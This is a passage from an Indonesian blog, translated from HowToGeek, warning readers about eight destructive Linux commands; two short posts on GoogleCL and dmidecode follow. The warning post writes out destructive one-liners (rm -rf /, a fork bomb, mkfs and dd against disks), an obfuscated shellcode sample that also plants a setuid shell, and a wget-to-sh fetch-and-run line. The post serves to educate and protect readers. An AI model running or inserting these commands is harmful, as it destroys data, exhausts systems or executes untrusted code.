8 Perintah di Linux yang “Berbahaya”

Perintah terminal di Linux sangatlah ampuh dan powerful, dan Linux tidak akan meminta konfirmasi jika Anda menjalankan perintah yang dapat merusak sistem. Dengan Anda mengetahui perintah yang tidak boleh dijalankan, dapat membantu dan melindungi Anda dari troll (*semacam joke di internet) sambil meningkatkan pemahaman Anda tentang bagaimana Linux bekerja.

Berikut ini memang bukan sebuah panduan lengkap, dan perintah disini dapat remixed dalam berbagai cara. Perhatikan bahwa di Ubuntu banyak perintah hanya akan berjalan jika diawali dengan sudo. Pada distribusi Linux lainnya, sebagian besar perintah harus dijalankan sebagai root.

rm -rf / = Menghapus SEMUANYA!

Perintah “ rm -rf / ” akan menghapus segala sesuatu yang mungkin bisa dihapus, termasuk file-file yang ada pada hard drive dan perangkat removable media. Perintah ini lebih mudah dipahami jika kita pisah seperti berikut:

rm – Hapus file-file berikut.
-rf – Menjalankan perintah rm terus-menerus (hapus semua file dan folder) dan memaksa menghapus semua file tanpa persetujuan Anda.
/ – Memberitahu perintah rm untuk memulai dari direktori root ( / ), yang berisi semua file yang ada di komputer.

Linux akan dengan senang hati mematuhi perintah ini dan menghapus semuanya tanpa persetujuan Anda, jadi berhati-hatilah menggunakan perintah ini! Perintah rm juga dapat digunakan dalam beberapa cara berbahaya lainnya, seperti rm –rf ~ akan menghapus semua file di dalam folder home Anda, sementara rm -rf .* akan menghapus semua file konfigurasi Anda.

Pelajaran: Hati-hati terhadap perintah rm -rf.

Perintah rm –rf / yang “Disembunyikan”

Berikut ini contoh potongan kode:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Potongan kode di atas merupakan versi heksa dari rm –rf / ,  menjalankan perintah ini akan menghapus file Anda sama seperti jika Anda menjalankan rm –rf /.

Pelajaran: Jangan jalankan perintah/kode yang terlihat aneh, terutama kode samar yang tidak Anda mengerti.

:(){ :|: & };: – Fork Bomb

Fungsi Bash, terlihat sederhana tapi berbahaya:

:(){ :|: & };:

Karakter pendek di atas mendefinisikan sebuah fungsi shell yang menciptakan dirinya sendiri (menduplikasi dirinya sendiri). Proses ini terus-menerus menduplikasi dirinya sendiri, dan duplikasinya juga terus-menerus menduplikasi dirinya sendiri. Sangat cepat untuk mengambil semua waktu CPU dan memori. Kode ini dapat mengakibatkan komputer Anda “hang”. Pada dasarnya ini adalah denial-of-service attack.

Pelajaran: Fungsi Bash sangat berbahaya, bahkan untuk perintah yang sangat singkat sekalipun.

Image Credit: Dake on Wikimedia Commons

lebih jauh mengenai fork bombhttp://www.cyberciti.biz/faq/understanding-bash-fork-bomb/

mkfs.ext4 /dev/sda1 – Mem-format Hard Drive

Perintah mkfs.ext4 /dev/sda1 sangatlah mudah untuk dipahami:

mkfs.ext4 – Membuat file sistem ext4 baru pada perangkat berikut.
/dev/sda1 – Menentukan partisi pertama pada hard disk pertama, diama biasanya sedang dipakai.

Jika perintah ini dijalankan berbarengan, maka perintah ini dapat disamakan seperti menjalankan format c: pada Windows. Perintah ini akan menghapus semua file yang ada pada partisi pertama sistem dan kemudian menggantinya dengan file sistem yang baru. Perintah ini juga dapat ditulis sebagai berikut – mkfs.ext3 /dev/sdb2 yang berarti akan memformat partisi kedua dalam hard disk kedua dengan file sistem ext3.

Pelajaran: Hati-hati menjalankan program yang secara langsung jalan pada perangkat hard disk yang dimulai dengan /dev/sd.

command > /dev/sda – Menulis Langsung ke Hard Drive

Baris perintah command > /dev/sda bekerja hampir mirip perintah sebelumnya – baris tersebut menjalankan perintah dan mengirim output command secara langsung ke hard disk pertama sistem Anda, menulis data langsung ke hard disk, dan merusak file sistem Anda.

command – Menjalankan sebuah command (dapat berupa command apa saja)
> – Kirim output dari command tersebut ke lokasi tersebut.
/dev/sda – Tulis hasil output command tadi ke perangkat hard drive.

Pelajaran: Seperti perintah sebelumnya, hati-hati menjalankan program yang mengikutsertakan perangkat hard drive yang dimulai dengan /dev/sd.

dd if=/dev/random of=/dev/sda = Menulis Junk File ke Hard Drive

Baris perintah dd if=/dev/random of=/dev/sda juga akan melenyapkan data pada salah satu hard drive Anda.

dd – Lakukan perintah copy low-level dari satu lokasi ke lokasi yang lain.
if=/dev/random – Gunakan /dev/random (data random) sebagai input – terkadang juga menggunakan /dev/zero (zeros).
of=/dev/sda – Output ke hard disk pertama, mengganti file sistem dengan data sampah yang acak.

Pelajaran: perintah dd mengkopi data dari satu lokasi ke lokasi yang lain, dimana ini dapat menjadi berbahaya jika Anda mengkopi langsung ke perangkat.

Image Credit: Matt Rudge on Flickr
mv ~ /dev/null – Pindah Folder Home ke Entah-Berantah

/dev/null merupakan lokasi spesial yang lain – memindahkan sesuatu ke /dev/null sama saja menghancurkannya. Bayangkan /dev/null adalah sebuah lubang hitam (black hole). Pada dasarnya, mv ~ /dev/null mengirim semua file personal anda ke lubang hitam 🙂

mv – Pindahkan file atau direktori berikut ke lokasi yang lain.
~ – Merepresentasikan semua isi folder home Anda.
/dev/null – Pindah folder home Anda ke /dev/null, melenyapkan semua file Anda dan menghapus kopian asli.

Pelajaran: Karakter ~ merepresentasikan folder home Anda dan memindahkan sesuatu ke /dev/null sama dengan melenyapkan mereka.

wget http://example.com/something -O – | sh – Mendownload dan Menjalankan Script

Baris di atas berarti mengunduh sebuah skrip dari website dan mengirimkan ke sh, yang mana akan menjalankan isi dari skrip tersebut. Ini bisa menjadi berbahaya jika Anda tidak yakin skrip apakah itu atau Anda tidak yakin dengan sumbernya. Jangan jalankan skrip yang tidak meyakinkan.

wget – Mengunduh sebuah file. (Bisa juga perintah curl.)
http://example.com/something – Unduh file dari alamat ini.
| – (Pipe) kirimkan langsung output dari perintah wget (dalam hal ini file yang Anda download) ke perintah lain.
sh – Kirimkan sebuah file ke perintah sh, yang mana akan menjalankan file itu jika merupakan skrip bash.

Perintah: Jangan unduh dan jalankan skrip yang tidak dipercaya dari website, bahkan dengan baris perintah.

free translate dari: [ howtogeek ]

GoogleCL : Menggunakan layanan Google via command line

GoogleCL adalah proyek Open Source dari Google yang dirancang untuk memudahkan user mengakses layanan Google seperti Blogger, Picasa Web, YouTube, Google Docs dan Google Calendar dari baris-perintah. Bagi sebagian orang, cara ini lebih cepat bila dibandingkan dengan versi GUI.

Apa saja yang harus dipersiapkan terlebih dahulu untuk menggunakan GoogleCL ini?

Note: Yang saya tuliskan disini menggunakan sistem operasi Windows XP Professional SP3.

Continue reading GoogleCL : Menggunakan layanan Google via command line

Menampilkan BIOS dan Motherboard Info dari Command Line (Linux)

Anda ingin mengetahui informasi tentang BIOS dan motherboard PC/Notebook Anda, dengan sistem operasi Linux dan tidak ingin menambah aplikasi lainnya ??

Kali ini saya menggunakan distro Ubuntu Lucid Lynx 10.04 LTS (bisa berjalan di distro lain). Jika Anda ingin mencoba Ubuntu versi terbaru ini, bisa mendownload disini, atau link lokal disini, disini, disini, disini atau order cd nya (free) disini.

Jalankan Terminal. Klik Menu – Accessories – Terminal. Maka akan muncul tampilan Terminal.

Ketikkan perintah

$ sudo dmidecode -t baseboard

untuk menampilkan informasi tentang motherboard yang terpasang.

Ketikkan perintah

$ sudo dmidecode -t bios

untuk menampilkan informasi tentang BIOS.

Jangan lupa menambahkan perintah sudo.

Sumber : CommandLineFu